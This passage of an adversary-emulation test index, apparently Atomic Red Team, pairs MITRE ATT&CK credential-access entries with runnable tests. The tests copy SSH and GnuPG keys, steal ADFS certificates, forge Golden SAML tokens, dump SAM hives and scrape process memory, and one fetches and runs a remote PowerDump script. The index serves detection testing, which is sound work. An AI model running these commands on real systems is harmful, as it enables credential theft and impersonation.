        name: command_prompt
        elevation_required: true
    - name: Discover Private SSH Keys
      auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878
      description: 'Discover private SSH keys on a macOS or Linux system.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from.
          type: Path
          default: "/"
        output_file:
          description: Output file containing locations of SSH key files
          type: Path
          default: "/tmp/keyfile_locations.txt"
      executor:
        command: 'find #{search_path} -name id_rsa >> #{output_file}

'
        cleanup_command: 'rm #{output_file}

'
        name: sh
    - name: Copy Private SSH Keys with CP
      auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3
      description: 'Copy private SSH keys on a Linux system to a staging folder using
        the `cp` command.

'
      supported_platforms:
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from.
          type: Path
          default: "/"
        output_folder:
          description: Output folder containing copies of SSH private key files
          type: Path
          default: "/tmp/art-staging"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -name id_rsa -exec cp --parents {} #{output_folder} \;
        cleanup_command: 'rm #{output_folder}

'
        name: sh
    - name: Copy Private SSH Keys with rsync
      auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a
      description: 'Copy private SSH keys on a Linux or macOS system to a staging
        folder using the `rsync` command.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from.
          type: Path
          default: "/"
        output_folder:
          description: Output folder containing copies of SSH private key files
          type: Path
          default: "/tmp/art-staging"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -name id_rsa -exec rsync -R {} #{output_folder} \;
        cleanup_command: 'rm -rf #{output_folder}

'
        name: sh
    - name: Copy the users GnuPG directory with rsync
      auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca
      description: 'Copy the users GnuPG (.gnupg) directory on a Mac or Linux system
        to a staging folder using the `rsync` command.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from
          type: Path
          default: "/"
        output_folder:
          description: Output folder containing a copy of the .gnupg directory
          type: Path
          default: "/tmp/GnuPG"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -type d -name '.gnupg' -exec rsync -Rr {} #{output_folder} \;
        cleanup_command: 'rm -rf #{output_folder}

'
        name: sh
    - name: ADFS token signing and encryption certificates theft - Local
      auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f
      description: |
        Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.
        Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'AADInternals module must be installed.

'
        prereq_command: 'if (Get-Module AADInternals) {exit 0} else {exit 1}

'
        get_prereq_command: 'Install-Module -Name AADInternals -Force

'
      executor:
        command: |
          Import-Module AADInternals -Force
          Export-AADIntADFSCertificates
          Get-ChildItem | Where-Object {$_ -like "ADFS*"}
          Write-Host "`nCertificates retrieved successfully"
        cleanup_command: |
          Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
          Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
        name: powershell
    - name: ADFS token signing and encryption certificates theft - Remote
      auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442
      description: |
        Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer.
        Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
      supported_platforms:
      - windows
      input_arguments:
        adfs_service_account_name:
          description: Name of the ADFS service account
          type: String
          default: adfs_svc
        replication_user:
          description: Username with replication rights. It can be the Domain Admin
            running the script
          type: String
          default: Administrator
        replication_password:
          description: Password of replication_username
          type: String
          default: ReallyStrongPassword
        adfs_server_name:
          description: Name of an ADFS server
          type: String
          default: sts.contoso.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'AADInternals and ActiveDirectory modules must be installed.

'
        prereq_command: 'if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable
          -Name ActiveDirectory)) {echo 0} else {echo 1}

'
        get_prereq_command: 'Install-Module -Name AADInternals -Force

'
      executor:
        command: "Import-Module ActiveDirectory -Force \nImport-Module AADInternals
          -Force | Out-Null\n#Get Configuration\n$dcServerName = (Get-ADDomainController).HostName\n$svc
          = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object
          name -eq \"#{adfs_service_account_name}\"\n$PWord = ConvertTo-SecureString
          -String \"#{replication_password}\" -AsPlainText -Force\n$Credential = New-Object
          -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user},
          $PWord\n# use DCSync to fetch the ADFS service account's NT hash\n$hash
          = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential
          -Server $dcServerName -AsHex\n$ADFSConfig = Export-AADIntADFSConfiguration
          -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}\n# Get
          certificates decryption key\n$Configuration = [xml]$ADFSConfig\n$group =
          $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group\n$container
          = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName\n$parent
          = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn\n$base
          = \"LDAP://CN=$group,$container,$parent\"\n$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))\n$ADSearch.Filter
          = '(name=CryptoPolicy)'\n$ADSearch.PropertiesToLoad.Clear()\n$ADSearch.PropertiesToLoad.Add(\"displayName\")
          | Out-Null\n$aduser = $ADSearch.FindOne()\n$keyObjectGuid = $ADUser.Properties[\"displayName\"]
          \n$ADSearch.PropertiesToLoad.Clear()\n$ADSearch.PropertiesToLoad.Add(\"thumbnailphoto\")
          | Out-Null\n$ADSearch.Filter=\"(l=$keyObjectGuid)\"\n$aduser=$ADSearch.FindOne()
          \n$key=[byte[]]$aduser.Properties[\"thumbnailphoto\"][0] \n# Get encrypted
          certificates from configuration and decrypt them\nExport-AADIntADFSCertificates
          -Configuration $ADFSConfig -Key $key\nGet-ChildItem | Where-Object {$_ -like
          \"ADFS*\"}\nWrite-Host \"`nCertificates retrieved successfully\"\n"
        cleanup_command: |
          Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
          Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
        name: powershell
  T1003.007:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1003.007
        url: https://attack.mitre.org/techniques/T1003/007
      - url: https://github.com/huntergregal/mimipenguin
        description: Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5,
          2017.
        source_name: MimiPenguin GitHub May 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Proc Filesystem
      description: |-
        Adversaries may gather credentials from information stored in the Proc filesystem or <code>/proc</code>. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.

        This functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.
      id: attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-19T15:32:18.098Z'
      created: '2020-02-11T18:46:24.434Z'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      x_mitre_permissions_required:
      - root
      x_mitre_detection: To obtain the passwords and hashes stored in memory, processes
        must open a maps file in the /proc filesystem for the process being analyzed.
        This file is stored under the path <code>/proc/\*/maps</code>, where the <code>\*</code>
        directory is the unique pid of the program being interrogated for such authentication
        data. The AuditD monitoring tool, which ships stock in many Linux distributions,
        can be used to watch for hostile processes opening this file in the proc file
        system, alerting on the pid, process name, and arguments of such programs.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      identifier: T1003.007
    atomic_tests:
    - name: Dump individual process memory with sh (Local)
      auto_generated_guid: 7e91138a-8e74-456d-a007-973d67a0bb80
      description: |
        Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
        copy process memory to an external file so it can be searched or exfiltrated later.
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1003.007.bin"
        script_path:
          description: Path to script generating the target process
          type: Path
          default: "/tmp/T1003.007.sh"
        pid_term:
          description: Unique string to use to identify target process
          type: String
          default: T1003.007
      dependencies:
      - description: 'Script to launch target process must exist

'
        prereq_command: |
          test -f #{script_path}
          grep "#{pid_term}" #{script_path}
        get_prereq_command: |
          echo '#!/bin/sh' > #{script_path}
          echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
      executor:
        name: sh
        elevation_required: true
        command: |
          sh #{script_path}
          PID=$(pgrep -n -f "#{pid_term}")
          HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
          MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
          MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
          MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
          dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
          grep -i "PASS" "#{output_file}"
        cleanup_command: 'rm -f "#{output_file}"

'
    - name: Dump individual process memory with Python (Local)
      auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63
      description: |
        Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to
        copy a process's heap memory to an external file so it can be searched or exfiltrated later.
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1003.007.bin"
        script_path:
          description: Path to script generating the target process
          type: Path
          default: "/tmp/T1003.007.sh"
        python_script:
          description: Path to script generating the target process
          type: Path
          default: PathToAtomicsFolder/T1003.007/src/dump_heap.py
        pid_term:
          description: Unique string to use to identify target process
          type: String
          default: T1003.007
      dependencies:
      - description: 'Script to launch target process must exist

'
        prereq_command: |
          test -f #{script_path}
          grep "#{pid_term}" #{script_path}
        get_prereq_command: |
          echo '#!/bin/sh' > #{script_path}
          echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
      - description: 'Requires Python

'
        prereq_command: "(which python || which python3 || which python2)\n"
        get_prereq_command: 'echo "Python 2.7+ or 3.4+ must be installed"

'
      executor:
        name: sh
        elevation_required: true
        command: |
          sh #{script_path}
          PID=$(pgrep -n -f "#{pid_term}")
          PYTHON=$(which python || which python3 || which python2)
          $PYTHON #{python_script} $PID #{output_file}
          grep -i "PASS" "#{output_file}"
        cleanup_command: 'rm -f "#{output_file}"

'
  T1606.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1606.002
        url: https://attack.mitre.org/techniques/T1606/002
      - source_name: Microsoft SolarWinds Steps
        url: https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/
        description: Lambert, J. (2020, December 13). Important steps for customers
          to protect themselves from recent nation-state cyberattacks. Retrieved December
          17, 2020.
      - source_name: Microsoft SAML Token Lifetimes
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes
        description: Microsoft. (2020, December 14). Configurable token lifetimes
          in Microsoft Identity Platform. Retrieved December 22, 2020.
      - source_name: Cyberark Golden SAML
        url: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
        description: 'Reiner, S. (2017, November 21). Golden SAML: Newly Discovered
          Attack Technique Forges Authentication to Cloud Apps. Retrieved December
          17, 2020.'
      - source_name: Microsoft SolarWinds Customer Guidance
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 17, 2020.
      - source_name: Sygnia Golden SAML
        url: https://www.sygnia.co/golden-saml-advisory
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: SAML Tokens
      description: |-
        An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)

        An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

        An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
      id: attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-14T14:29:27.290Z'
      created: '2020-12-17T15:24:12.240Z'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Web Credential: Web Credential Creation'
      - 'Web Credential: Web Credential Usage'
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      - Oleg Kolesnikov, Securonix
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)

        Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)
      x_mitre_platforms:
      - Azure AD
      - SaaS
      - Windows
      - Office 365
      - Google Workspace
      identifier: T1606.002
    atomic_tests:
    - name: Golden SAML
      auto_generated_guid: b16a03bc-1089-4dcc-ad98-30fe8f3a2b31
      description: "Forge a \"Golden SAML\" token which allows to impersonate any
        Azure AD user, and authenticate to AADGraph (as a proof). \nYou will need
        the ADFS token signing certificate (see T1552.004 to export it).\nMore info
        here : https://o365blog.com/post/adfs/\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        certificate_path:
          description: Token signing certificate path. See T1552.004 to export it
          type: Path
          default: ".\\ADFS_signing.pfx"
        immutable_id:
          description: ImmutableId of the targeted user. It can be obtained with AzureAD
            powershell module; $(Get-AzureADUser -SearchString "username").ImmutableId
          type: String
          default: aehgdqBTZV50DKQZmNJ8mg==
        issuer_uri:
          description: Issuer URI of the ADFS service
          type: String
          default: http://contoso.com/adfs/services/trust/
      dependency_executor_name: powershell
      dependencies:
      - description: 'AADInternals module must be installed.

'
        prereq_command: 'if (Get-Module AADInternals) {exit 0} else {exit 1}

'
        get_prereq_command: 'Install-Module -Name AADInternals -Force

'
      executor:
        command: |
          Import-Module AADInternals -Force
          $saml = New-AADIntSAMLToken -ImmutableID "#{immutable_id}" -PfxFileName "#{certificate_path}" -Issuer "#{issuer_uri}"
          $conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache
          if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" }
          Write-Host "End of Golden SAML"
        name: powershell
  T1003.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1003.002
        url: https://attack.mitre.org/techniques/T1003/002
      - url: https://github.com/Neohapsis/creddump7
        description: Flathers, R. (2018, February 19). creddump7. Retrieved April
          11, 2018.
        source_name: GitHub Creddump7
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Security Account Manager
      description: "Adversaries may attempt to extract credential material from the
        Security Account Manager (SAM) database either through in-memory techniques
        or through the Windows Registry where the SAM database is stored. The SAM
        is a database file that contains local accounts for the host, typically those
        found with the <code>net user</code> command. Enumerating the SAM database
        requires SYSTEM level access.\n\nA number of tools can be used to retrieve
        the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n*
        [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively,
        the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam
        sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then
        be used to process the SAM database locally to retrieve hashes.(Citation:
        GitHub Creddump7)\n\nNotes: \n* RID 500 account is the local, built-in administrator.\n*
        RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n"
      id: attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-25T15:17:30.640Z'
      created: '2020-02-11T18:42:07.281Z'
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Access'
      - 'File: File Access'
      x_mitre_permissions_required:
      - SYSTEM
      x_mitre_detection: Hash dumpers open the Security Accounts Manager (SAM) on
        the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create
        a dump of the Registry SAM key to access stored account password hashes. Some
        hash dumpers will open the local file system as a device and parse to the
        SAM table to avoid file access defenses. Others will make an in-memory copy
        of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        in-use by adversaries may help as well.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1003.002
    atomic_tests:
    - name: Registry dump of SAM, creds, and secrets
      auto_generated_guid: 5c2571d0-1572-416d-9676-812e64ca9f44
      description: |
        Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
        via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

        Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
      supported_platforms:
      - windows
      executor:
        command: |
          reg save HKLM\sam %temp%\sam
          reg save HKLM\system %temp%\system
          reg save HKLM\security %temp%\security
        cleanup_command: |
          del %temp%\sam >nul 2> nul
          del %temp%\system >nul 2> nul
          del %temp%\security >nul 2> nul
        name: command_prompt
        elevation_required: true
    - name: Registry parse with pypykatz
      auto_generated_guid: a96872b2-cbf3-46cf-8eb4-27e8c0e85263
      description: 'Parses registry hives to obtain stored credentials

'
      supported_platforms:
      - windows
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Computer must have python 3 installed

'
        prereq_command: |
          py -3 --version >nul 2>&1
          exit /b %errorlevel%
        get_prereq_command: 'echo "Python 3 must be installed manually"

'
      - description: 'Computer must have pip installed

'
        prereq_command: |
          py -3 -m pip --version >nul 2>&1
          exit /b %errorlevel%
        get_prereq_command: 'echo "PIP must be installed manually"

'
      - description: 'pypykatz must be installed and part of PATH

'
        prereq_command: |
          pypykatz -h >nul 2>&1
          exit /b %errorlevel%
        get_prereq_command: 'pip install pypykatz

'
      executor:
        command: 'pypykatz live registry

'
        name: command_prompt
        elevation_required: true
    - name: esentutl.exe SAM copy
      auto_generated_guid: a90c2f4d-6726-444e-99d2-a00cd7c20480
      description: |
        Copy the SAM hive using the esentutl.exe utility
        This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the file to copy
          type: Path
          default: "%SystemRoot%/system32/config/SAM"
        file_name:
          description: Name of the copied file
          type: String
          default: SAM
        copy_dest:
          description: Destination of the copied file
          type: String
          default: "%temp%"
      executor:
        command: 'esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}

'
        name: command_prompt
        elevation_required: true
        cleanup_command: 'del #{copy_dest}\#{file_name} >nul 2>&1

'
    - name: PowerDump Registry dump of SAM for hashes and usernames
      auto_generated_guid: 804f28fc-68fc-40da-b5a2-e9d0bce5c193
      description: Executes a hashdump by reading the hasshes from the registry.
      supported_platforms:
      - windows
      executor:
        command: |-
          Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
          Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
          Invoke-Webrequest -Uri "https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1" -UseBasicParsing -OutFile "$Env:Temp\PowerDump.ps1"
          Import-Module "$Env:Temp\PowerDump.ps1"
          Invoke-PowerDump
        name: powershell
        elevation_required: true
    - name: dump volume shadow copy hives with certutil
      auto_generated_guid: eeb9751a-d598-42d3-b11c-c122d9c3f6c7
      description: |
        Dump hives from volume shadow copies with the certutil utility
        This can be done with a non-admin user account
      supported_platforms:
      - windows
      input_arguments:
        dump_path:
          description: Path where the hive will be dumped
          type: Path
          default: "$ENV:temp"
        target_hive:
          description: Hive you wish to dump
          type: String
          default: SAM
        dumped_hive:
          description: Name of the dumped hive
          type: String
          default: myhive
      executor:
        command: |
          write-host ""
          $shadowlist = get-wmiobject win32_shadowcopy
          $volumenumbers = foreach($shadowcopy in $shadowlist){$shadowcopy.DeviceObject[-1]}
          $maxvolume = ($volumenumbers | Sort-Object -Descending)[0]
          $shadowpath = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy" + $maxvolume + "\Windows\System32\config\#{target_hive}"
          certutil -f -v -encodehex $shadowpath #{dump_path}\#{dumped_hive} 2
        name: powershell
        elevation_required: false
        cleanup_command: |
          $toremove = #{dump_path} + "\" + '#{dumped_hive}'
          rm $toremove -ErrorAction Ignore
    - name: dump volume shadow copy hives with System.IO.File
      auto_generated_guid: 9d77fed7-05f8-476e-a81b-8ff0472c64d0
      description: 'Dump hives from volume shadow copies with System.IO.File

'
      supported_platforms:
      - windows
      input_arguments:
        dump_path:
          description: Path where the hive will be dumped
          type: Path
          default: "$ENV:temp"
        target_hive:
          description: Hive you wish to dump
          type: String
          default: SAM
        dumped_hive:
          description: Name of the dumped hive
          type: String
          default: myhive
      executor:
        command: |
          write-host ""
          $shadowlist = get-wmiobject win32_shadowcopy
          $volumenumbers = foreach($shadowcopy in $shadowlist){$shadowcopy.DeviceObject[-1]}
          $maxvolume = ($volumenumbers | Sort-Object -Descending)[0]
          $shadowpath = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy" + $maxvolume + "\Windows\System32\config\#{target_hive}"
          $mydump = #{dump_path} + '\' + '#{dumped_hive}'
          [System.IO.File]::Copy($shadowpath , $mydump)
        name: powershell
        elevation_required: false
        cleanup_command: |-
          $toremove = #{dump_path} + "\" + '#{dumped_hive}'
          rm $toremove -ErrorAction Ignore
  T1555.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1555.002
        url: https://attack.mitre.org/techniques/T1555/002
      - url: http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
        description: Juuso Salonen. (2012, September 5). Breaking into the OS X keychain.
          Retrieved July 15, 2017.
        source_name: OS X Keychain
      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        source_name: OSX Keydnap malware
      - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
          DA, the OS X Way. Retrieved July 3, 2017.
        source_name: External to DA, the OS X Way
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Securityd Memory
      description: |-
        An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)

        In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)
      id: attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-02-17T13:16:53.850Z'
      created: '2020-02-12T18:56:31.051Z'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Access'
      x_mitre_permissions_required:
      - root
      x_mitre_detection: Monitor processes and command-line arguments for activity
        surrounded users searching for credentials or using automated tools to scan
        memory for passwords.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
    atomic_tests: []
  T1558.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1558.002
        url: https://attack.mitre.org/techniques/T1558/002
      - source_name: ADSecurity Silver Tickets
        url: https://adsecurity.org/?p=2011
        description: Sean Metcalf. (2015, November 17). How Attackers Use Kerberos
          Silver Tickets to Exploit Systems. Retrieved February 27, 2020.
      - url: https://adsecurity.org/?p=1515
        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
          23, 2015.
        source_name: ADSecurity Detecting Forged Tickets
      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
          from Memory. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
        source_name: Medium Detecting Attempts to Steal Passwords from Memory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Silver Ticket
      description: |-
        Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)

        Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)

        Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).
      id: attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-25T21:46:46.831Z'
      created: '2020-02-11T19:14:48.309Z'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Metadata'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
        or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation:
        ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes
        interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords
        from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem
        Service (LSASS) process by opening the process, locating the LSA secrets key,
        and decrypting the sections in memory where credential details, including
        Kerberos tickets, are stored."
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1528:
    technique:
      id: attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a
      description: "Adversaries can steal user application access tokens as a means
        of acquiring credentials to access remote systems and resources. This can
        occur through social engineering and typically requires user action to grant
        access.\n\nApplication access tokens are used to make authorized API requests
